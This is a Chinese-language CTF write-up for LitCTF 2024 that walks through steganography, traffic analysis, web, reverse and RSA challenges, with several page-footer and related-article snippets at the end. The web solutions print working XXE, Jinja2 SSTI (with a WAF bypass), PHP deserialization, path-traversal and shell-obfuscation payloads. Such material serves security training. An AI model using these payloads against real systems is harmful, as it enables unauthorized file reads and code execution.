LitCTF 2024(公开赛道)——WP

目录

Misc

涐贪恋和伱、甾―⑺dé毎兮毎秒

你说得对,但__

盯帧珍珠

Everywhere We Go

关键,太关键了!

女装照流量

原铁,启动!

舔到最后应有尽有

The love

Web

exx

一个....池子?

SAS - Serializing Authentication System

浏览器也能套娃?

高亮主题(划掉)背景查看器

百万美元的诱惑

Reverse

编码喵

Crypto

common_primes


Misc

涐贪恋和伱、甾―⑺dé毎兮毎秒

题目只给了一张图片,zsteg秒了,flag:LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5bcb9bd6}

你说得对,但__

题目只给了一个png文件,是个二维码

直接扫描得到云·原神(原神哈哈哈哈哈!!!)

将图片放到010里面发现文件头为jpg格式的,修改后缀后进行分离(可使用binwalk或者foremost)

得到四部分不完整的二维码,猜测拼接后扫描

扫描后得到flag:LitCTF{Genshin_St@rt!!}

盯帧珍珠

题目给了一张jpg图片,放到010里面发现文件头为gif格式的,修改后缀后使用工具分离得到一堆图片,在其中可以发现组成flag的部分

最终的flag为:LitCTF{You_are_really_staring_at_frames!}

Everywhere We Go

题目只给了一个音频文件secret.wav,放入Audacity查看一下,切换到频谱图,放大后发现flag:flag{Calculate_Step_By_Step}

即:LitCTF{Calculate_Step_By_Step}

关键,太关键了!

题目给了两个文本flag.txt和key.txt,根据题目提示,将key.txt内容字频统计一下可以到一个暂定的key:bingo

题目名叫关键,猜测为关键字解密,用随波逐流秒了,flag:LitCTF{i_miss_you_boss}

女装照流量

我们拿到一个流量包,首先查看它的http流

发现很多上传文件的流量,分析过后得到关键信息(注意:因为蚁剑的流量为url编码+base64混淆。我们需要先进行url解密,在进行base解密)

通过上述流量我们可以得到密钥key:PaSsw0rd_LitCtF_L0vely_tanJi

分析过程如下:

Y2QgL2QgIkM6XFxQcm9ncmFtIEZpbGVzXFxwaHBzdHVkeV9wcm9cXFdXV1xcTGl0Q1RGLXBjYXBuZyImemlwIC1QICJQYVNzdzByZF9MaXRDdEZfTDB2ZWx5X3RhbkppIiBmMWFnLnppcCBmbGFnLnBocCZlY2hvIDFhOTI1JmNkJmVjaG8gNmZmZWIx     #属于蚁剑的流量特征,这里需要我们删除流量信息中的前两个字符后才能得到无混淆base64。
base64解密后得到
cd /d "C:\\Program Files\\phpstudy_pro\\WWW\\LitCTF-pcapng"&zip -P "PaSsw0rd_LitCtF_L0vely_tanJi" f1ag.zip flag.php&echo 1a925&cd&echo 6ffeb1

这个流量包的信息是

QzovUHJvZ3JhbSBGaWxlcy9waHBzdHVkeV9wcm8vV1dXL0xpdENURi1wY2FwbmcvZjFhZy56aXA=
base64解密后得到
C:/Program Files/phpstudy_pro/WWW/LitCTF-pcapng/f1ag.zip     #说明这里有一个zip文件

我们将其提取出来发现需要密码,用前面分析得到key即可进行解压缩,得到flag:LitCTF{anTsw0rd_fl0w_is_eAsY_f0r_u}

<?php $flag = "LitCTF{anTsw0rd_fl0w_is_eAsY_f0r_u}";

原铁,启动!

一眼丁真,对照后得到flag:LitCTF{good_gamer}

舔到最后应有尽有

base64隐写,PuzzleSolver秒了,flag:LitCTF{TanJi_j1e_jie_n1_dAi_w0_z0u_b_}

The love

题目给了一张图片和一个音频文件,将图片放入010发现尾部有 Litctf??????ftctiL 并发现PK字样

这里肯定是分离得到zip文件,然后进行掩码攻击了,得到密钥:Litctf202405ftctiL

解压后得到一个假的flag.txt,和一个含有base字符串的password.txt

flag{这是假的!!!就像爱情_以为得到了_还是得不到}
​
Ykc5MlpWOXBjMTl3WVdsdVpuVnM=
base64解密:bG92ZV9pc19wYWluZnVs
base64解密:love_is_painful

最后的key为:love_is_painful

用deepsound解密音频后得到flag_real.txt,最终的flag为:Litctf{wish_you_can_find_your_true_love}

Web

exx

题目给了一个登录页面,随便输入账号密码(admin,123456),burp抓包

根据题目描述,这题考点xxe没跑了

#payload如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "php://filter/resource=/flag">     #利用php协议读取/flag
]>
<user><username>
&xxe;                                                    #调用xxe,执行语句"php://filter/resource=/flag"
</username><password>123456</password></user>

一个....池子?

首先随便输入123,返回结果是123

接着我们尝试输入{{3*3}},返回结果为9

标准的ssti模版注入,我们首先查看一下app.py(最好用burp抓包显示,看起来方便)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

可以在里面找到waf,过滤了一些字符。我们可以用字符串拼接的方式绕过waf

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

找到了flag文件,字符串拼接读取flag(flag不拼接也可以,没过滤flag,我这里套的模版)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/fl'+'ag','r').read()}}{% endif %}{% endfor %}

SAS - Serializing Authentication System

题目如下

 
#密钥许可规则
​
<?php
class User {public $username;public $password;function __construct($username, $password) {$this->username = $username;$this->password = $password;}function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
​
​这个PHP代码定义了一个名为 User 的类,并包括以下几个部分:
属性:
$username:公共属性,用于存储用户名。
$password:公共属性,用于存储密码。
构造函数:
__construct($username, $password):这是类的构造函数,接受两个参数(用户名和密码)。构造函数在创建对象时被自动调用,初始化 username 和 password 属性。
​
方法:
isValid():这个方法用于验证用户名和密码是否匹配预定义的值。它返回一个布尔值(true 或 false)。在这个示例中,当 username 为 'admin' 且 password 为 'secure_password' 时,返回 true,否则返回 false。

分析过后编写poc,如下

<?php
class User {public $username;public $password;function __construct($username, $password) {$this->username = $username;$this->password = $password;}function isValid() {return $this->username === 'admin' && $this->password === 'secure_password';}
}$user = new User('admin', 'secure_password');
echo base64_encode(serialize($user));
?>
#在主代码中,创建了一个新的User对象,用户名为'admin',密码为'secure_password'。然后,使用serialize()函数将该对象序列化为字符串,并使用base64_encode()函数对其进行编码。

运行后得到payload:

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiJzZWN1cmVfcGFzc3dvcmQiO30=

浏览器也能套娃?

题目如下

直接在输入框中读取flag即可,这里使用PHP伪协议

php://filter/resource=/flag

 

高亮主题(划掉)背景查看器

题目如下

 
<?php
// 文件包含漏洞演示
if (isset($_GET['url'])) {// 读取并包含用户输入的文件$file = $_GET['url'];if (strpos($file, '..') === false) {include $file;} else {echo "Access denied.";}
} else {echo "No file specified.";
}
?>

分析过后,其实就是一个简单的文件包含theme=theme1.php,burp抓包修改请求方式为post

先ls看一下,没发现什么重要的信息,猜测flag在根目录或者更高级目录

目录穿越一下,得到flag

theme=../../../../flag

百万美元的诱惑

这个题目有两层,第一层

第一层payload如下

?a[]=1&b[]=2&c=2025a

访问dollar.php,来到第二层

第二层payload如下

?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

查看源码后得到flag

Reverse

编码喵

查壳后64位,放入ida

shift+f12,发现一串base64密文,和一个解密映射表(base64换表解密)

 
tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0=      #密文
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/  #映射表

赛博橱子秒了,flag:LitCTF{03034ed8-a2da-4aa6-b2c9-01ace9e26301}

Crypto

common_primes

#infofrom Crypto.Util.number import *
from secret import flagm = bytes_to_long(flag)
e = 65537
p = getPrime(512)
q1 = getPrime(512)
q2 = getPrime(512)
n1 = p * q1
n2 = p * q2
c1 = pow(m, e, n1)
c2 = pow(m, e, n2)print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")'''
n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420
'''
#expimport libnum
import gmpy2e= 65537
n1= 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2= 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1= 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2= 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420#求最大公约数
q=gmpy2.gcd(n1,n2)
p1=n1//qphi_n=(q-1)*(p1-1)
#求逆元d
d1=libnum.invmod(e,phi_n)
m=pow(c1,d1,n1)
print("m=",m)
#数字转字节,转字符串
print(libnum.n2s(int(m)).decode())
#outputm= 38001428468493606140291085290464475306493666574265620008311218108580381088400212852503677
LitCTF{c0mmunity_w1th_two_ciphert3xt}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/21172.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL—函数—日期函数(基础)

一、引言 接下来讨论和学习关于函数的第三个方面——日期函数。 常见的MySQL当中的日期函数。 注意&#xff1a; 1、CURDATE()&#xff1a;cur&#xff1a;current 当前的&#xff0c;返回的是当前日期。 2、CURTIME()&#xff1a;当前时间。 3、NOW&#xff1a;当前的日期和…

Java语言高级编程:探索深层机制与应用技巧

Java语言高级编程&#xff1a;探索深层机制与应用技巧 在编程世界中&#xff0c;Java以其稳定、强大和跨平台的特性赢得了广泛的赞誉和应用。对于已经掌握Java基础知识的开发者来说&#xff0c;深入Java语言的高级编程领域&#xff0c;无疑将开启全新的技术视野。那么&#xf…

政安晨【零基础玩转各类开源AI项目】:解析开源项目的论文:Physical Non-inertial Poser (PNP)

政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏: 零基础玩转各类开源AI项目 希望政安晨的博客能够对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff01; 本文解析的原始论文为&#xff1a;https://arxiv.org/…

力扣1143. 最长公共子序列

给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长 公共子序列 的长度。如果不存在 公共子序列 &#xff0c;返回 0 。 一个字符串的 子序列 是指这样一个新的字符串&#xff1a;它是由原字符串在不改变字符的相对顺序的情况下删除某些字符&#xff08;也可以…

【TB作品】MSP430G2533,读取dht11,显示到lcd1602显示屏,串口发送到电脑

功能 读取dht11&#xff0c;显示到lcd1602显示屏&#xff0c;串口发送到电脑。 部分程序 void main(void) {char disp[20];char count 0;WDTCTL WDTPW WDTHOLD; // Stop WDTP1DIR 0Xff;P1SEL 0X00;P1SEL2 0X00;P2DIR 0Xff;P2SEL 0X00;P2SEL2 0X00;L…

为什么需要开局调用函数?

初始化操作&#xff1a;在你的应用程序启动时&#xff0c;可能需要执行一些初始化操作&#xff0c;例如设置默认值、加载配置、建立数据库连接等。开局调用函数可以帮助你集中管理这些操作&#xff0c;确保它们在应用程序启动时顺利执行。 统一入口&#xff1a;通过一个统一的…

打造你的专属Vue组件:基于FullCalendar超实用“日程任务管理组件”实战

打造你的专属Vue组件&#xff1a;基于FullCalendar超实用“日程任务管理组件”实战 在现代Web应用中&#xff0c;日程管理是一个常见而又关键的功能&#xff0c;它帮助用户高效安排和追踪日常任务及会议。Vue.js作为一个流行的前端框架&#xff0c;以其简洁的语法和强大的组件…

编译选项导致的结构体字节参数异常

文章目录 前言问题描述原因分析问题解决总结 前言 在构建编译工程时&#xff0c;会有一些对应的编译配置选项&#xff0c;不同的编译器&#xff0c;会有对应的配置项。本文介绍GHS工程中编译选项配置不对应导致的异常。 问题描述 在S32K3集成工程中&#xff0c;核1的INP_SWC…

transformer中的ffn

## import torch import torch.nn as nn import torch.nn.functional as F import logging logging.basicConfig(levellogging.INFO, format%(asctime)s %(levelname)s: %(message)s) # 定义FFN层 class FeedForwardNetwork(nn.Module): def __init__(self, input_dim, hi…

python运营商身份证二要素查验接口、身份证实名认证接口

随着网络服务安全需求的日益增长&#xff0c;个人信息的真实性和安全性成为了众多在线平台关注的焦点。近日&#xff0c;为应对这一挑战&#xff0c;翔云人工智能接口开放平台提供了Python语言的身份证二要素查验接口”及“实名认证接口”&#xff0c;旨在为各行业提供高效、准…

将字符串 “()“ ““ “|“ 条件组成的复杂表达式转换为ES查询语句

应用场景 "()" "&" "|" 这几个条件对于我们来说并不陌生, 其表达的逻辑非常明了, 又能通过很少的字符表达很复杂的嵌套关系, 在一些复杂的查询中会经常用到, 因此我最近也遇到了类似的问题,一开始觉得这类的工具应该挺常见的, 结果搜了半天…

JVM垃圾收集器和内存分配策略

概述 Java内存运行时数据区的程序计数器、虚拟机栈、本地方法栈3个区域会随着线程而产生&#xff0c;随线程而消失。这几个区域分配多少内存时在类结构确定下来即已知的&#xff0c;在这几个区域内就不需要过多考虑如何回收内存的问题&#xff0c;当方法结束或者线程结束时&am…

【spring】第一篇 IOC和DI入门案例

Spring到底是如何来实现IOC和DI的&#xff0c;那接下来就通过一些简单的入门案例&#xff0c;来演示下具体实现过程。 目录 前期准备 一、IOC入门案例 思路分析 代码实现 二、DI入门案例 思路分析 代码实现 总结 前期准备 使用IDEA创建Maven项目&#xff0c;首先需要配…

JAVAEE1

Web前端&#xff1a; 1.建立web开发的息维模式写代码不仅仅是为了实现某个功能&#xff0c;更是学习解决问题的思维方式 2.先使用&#xff0c;再理解&#xff0c;会导致刚开始比较懵&#xff0c;不知其所以然.切忌不可深陷其中&#xff0c; 3.涉及简单的软件工程的设计思想&…

Springboot整合kafka简单使用

kafka 一&#xff0c;介绍 Kafka 是一个开源的分布式流处理平台&#xff0c;最初由 LinkedIn 开发并贡献给 Apache 软件基金会。它设计用于构建高性能、持久性、可伸缩和容错的实时数据管道和流处理应用程序。 以下是 Kafka 的一些关键特点和概念&#xff1a; 发布-订阅模型…

SPWM载波调制方式-三电平杂记1

方法一&#xff1a; P2 O1 N0 方法二&#xff1a;双载波直接发波 方法三&#xff1a;负轴载波和调制波往上抬升1&#xff0c;得到使用同一个载波 在正半周在P和O切换&#xff0c;在下半轴式O和N切换

自动评论自动私信引流系统,自动化时代的挑战与机遇

随着科技的飞速发展&#xff0c;自动化技术已经渗透到我们生活的方方面面。从工业生产线上的机械臂到家庭中的智能助手&#xff0c;自动化不仅改变了我们的工作方式&#xff0c;也在重塑着社会的面貌。然而&#xff0c;在享受自动化带来的便利和效率的同时&#xff0c;我们也必…

961题库 北航计算机 MIPS基础选择题 附答案 选择题形式

有题目和答案&#xff0c;没有解析&#xff0c;不懂的题问大模型即可&#xff0c;无偿分享。 第1组 习题 MIPS处理器五级流水线中&#xff0c;涉及DRAM的是 A. 取指阶段 B. 译码阶段 C. 执行阶段 D. 访存阶段 MIPS处理器五级流水线中&#xff0c;R型指令保存结果的阶段是 A.…

关于高版本 Plant Simulation 每次保存是 提示提交comm对话框的处理方法

关于高版本 Plant Simulation 每次保存是 提示提交comm对话框的处理方法 如下图 将model saving history 修改为None即可 关于AutoCAD 2022 丢失模板库的问题 从新从以下地址打开即可&#xff1a; D:\Program Files\Autodesk\AutoCAD 2022\UserDataCache\zh-cn\Template

Visual Studio Installer 点击闪退

Visual Studio Installer 点击闪退问题 1. 问题描述2. 错误类型3. 解决方法4. 结果5. 说明6. 参考 1. 问题描述 重装了系统后&#xff08;系统版本&#xff1a;如下图所示&#xff09;&#xff0c;我从官方网站&#xff08;https://visualstudio.microsoft.com/ ) 下载了安装程…